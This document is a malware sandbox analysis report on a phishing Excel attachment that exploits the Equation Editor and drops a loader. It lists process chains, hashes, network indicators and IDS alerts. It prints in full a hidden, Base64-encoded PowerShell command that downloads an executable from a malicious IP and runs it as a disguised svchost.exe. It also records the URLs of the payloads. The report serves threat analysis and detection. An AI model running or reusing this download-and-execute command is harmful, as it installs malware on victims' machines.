File name: | 回覆 FW [Wiltrix] RFQ-171115 PB06-D.xlsx |
Full analysis: | https://app.any.run/tasks/bdbc3859-0576-41e8-b021-ed52863c09db |
Verdict: | Malicious activity |
Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
Analysis date: | December 18, 2018, 08:26:57 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/encrypted |
File info: | CDFV2 Encrypted |
MD5: | B4F23979DA74693BE5FFDDEE5FBBC781 |
SHA1: | 5F28B9DA29A8E6EE1EB81A5B7C966715561D7594 |
SHA256: | 780DDE35E0036784F9276C812E9DC800725FAEDFAC2203CA8CD8F4D05D357805 |
SSDEEP: | 1536:2jD3iuNga7pNyL1zHu+kmL1zXbIrGnLq8dmO3FaUH:2/3iuNga77yL1y+LLpWGLqMmQaUH |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3488 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
3268 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
2932 | "C:\Windows\System32\WScript.exe" "C:\Users\Public\sh.vbe" | C:\Windows\System32\WScript.exe | — | EQNEDT32.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
2476 | "C:\Windows\system32\cmd.exe" "/C poWERSHEll.eXe -EX BypaSs -nOP -w hIDDEn -ec CQAJAAkAUwBlAHQALQBjAE8ATgB0AGUATgBUACAACQAgAC0AVgBhAAkACQAJACgACQAJAAkALgAoAEcAYwBNACAAbgBFAFcALQBPAEIASgAqACkACQAJAAkAbgBFAFQALgB3AEUAYgBjAEwASQBFAG4AVAAJACAAIAApAC4ARABPAFcAbgBMAG8AYQBEAGQAYQB0AEEAKAAJAAkAIAAdIGgAdAB0AHAAOgAvAC8AMgAzAC4AMgA0ADkALgAxADYAMQAuADEAMAAwAC8AZgByAGEAbgBrAG0ALwBzAGgALgBlAHgAZQAdIAkACQAgACkAIAAJACAALQBFAG4AIAAJACAAQgBZAFQAZQAJACAAIAAtAHAAQQBUAGgAIAAJAAkAHSAkAEUAbgBWADoAYQBwAHAAZABhAHQAYQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAdICAACQAgADsAIAAJAAkAUwB0AEEAUgB0ACAACQAgAB0gJABFAG4AVgA6AEEAUABwAGQAYQB0AEEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAHSA= " | C:\Windows\system32\cmd.exe | — | WScript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3388 | poWERSHEll.eXe -EX BypaSs -nOP -w hIDDEn -ec CQAJAAkAUwBlAHQALQBjAE8ATgB0AGUATgBUACAACQAgAC0AVgBhAAkACQAJACgACQAJAAkALgAoAEcAYwBNACAAbgBFAFcALQBPAEIASgAqACkACQAJAAkAbgBFAFQALgB3AEUAYgBjAEwASQBFAG4AVAAJACAAIAApAC4ARABPAFcAbgBMAG8AYQBEAGQAYQB0AEEAKAAJAAkAIAAdIGgAdAB0AHAAOgAvAC8AMgAzAC4AMgA0ADkALgAxADYAMQAuADEAMAAwAC8AZgByAGEAbgBrAG0ALwBzAGgALgBlAHgAZQAdIAkACQAgACkAIAAJACAALQBFAG4AIAAJACAAQgBZAFQAZQAJACAAIAAtAHAAQQBUAGgAIAAJAAkAHSAkAEUAbgBWADoAYQBwAHAAZABhAHQAYQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAdICAACQAgADsAIAAJAAkAUwB0AEEAUgB0ACAACQAgAB0gJABFAG4AVgA6AEEAUABwAGQAYQB0AEEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAHSA= " | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3964 | "C:\Users\admin\AppData\Roaming\svchost.exe" | C:\Users\admin\AppData\Roaming\svchost.exe | — | powershell.exe |
User: admin Company: GLOSSOPHOROUS Integrity Level: MEDIUM Description: SKANK Version: 1.01.0001 |
PID | Process | Filename | Type | |
---|---|---|---|---|
3488 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR68FB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3388 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FV3KEM7DRZ7MWVUKIJY1.temp | — | |
MD5:— | SHA256:— | |||
3388 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
3388 | powershell.exe | C:\Users\admin\AppData\Roaming\svchost.exe | executable | |
MD5:55E1AF42BD3F3F33FC53B3A0CB502F70 | SHA256:D843AF82BB0B732A7F765F0FB2CDE1CF8E2D4CC5413212AED18A3AA8D4D19891 | |||
3388 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF247502.TMP | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
3268 | EQNEDT32.EXE | C:\Users\Public\sh.vbe | vbe | |
MD5:332979A2F8E24AFC9D6B425FD6EB54A2 | SHA256:132BFC1C081250AF54A10E0732389D94FBA0074925C5DC760CB617CBBB6FDA1C | |||
3268 | EQNEDT32.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\sh[1].vbe | vbe | |
MD5:332979A2F8E24AFC9D6B425FD6EB54A2 | SHA256:132BFC1C081250AF54A10E0732389D94FBA0074925C5DC760CB617CBBB6FDA1C |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3388 | powershell.exe | GET | 200 | 23.249.161.100:80 | http://23.249.161.100/frankm/sh.exe | US | executable | 621 Kb | malicious |
3268 | EQNEDT32.EXE | GET | 200 | 23.249.161.100:80 | http://23.249.161.100/frankm/sh.vbe | US | vbe | 1.37 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3388 | powershell.exe | 23.249.161.100:80 | — | ColoCrossing | US | malicious |
3268 | EQNEDT32.EXE | 23.249.161.100:80 | — | ColoCrossing | US | malicious |
PID | Process | Class | Message |
---|---|---|---|
3268 | EQNEDT32.EXE | A Network Trojan was detected | ET INFO Microsoft Script Encoder Encoded File |
3388 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3388 | powershell.exe | Potentially Bad Traffic | ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile |
3388 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3388 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3388 | powershell.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |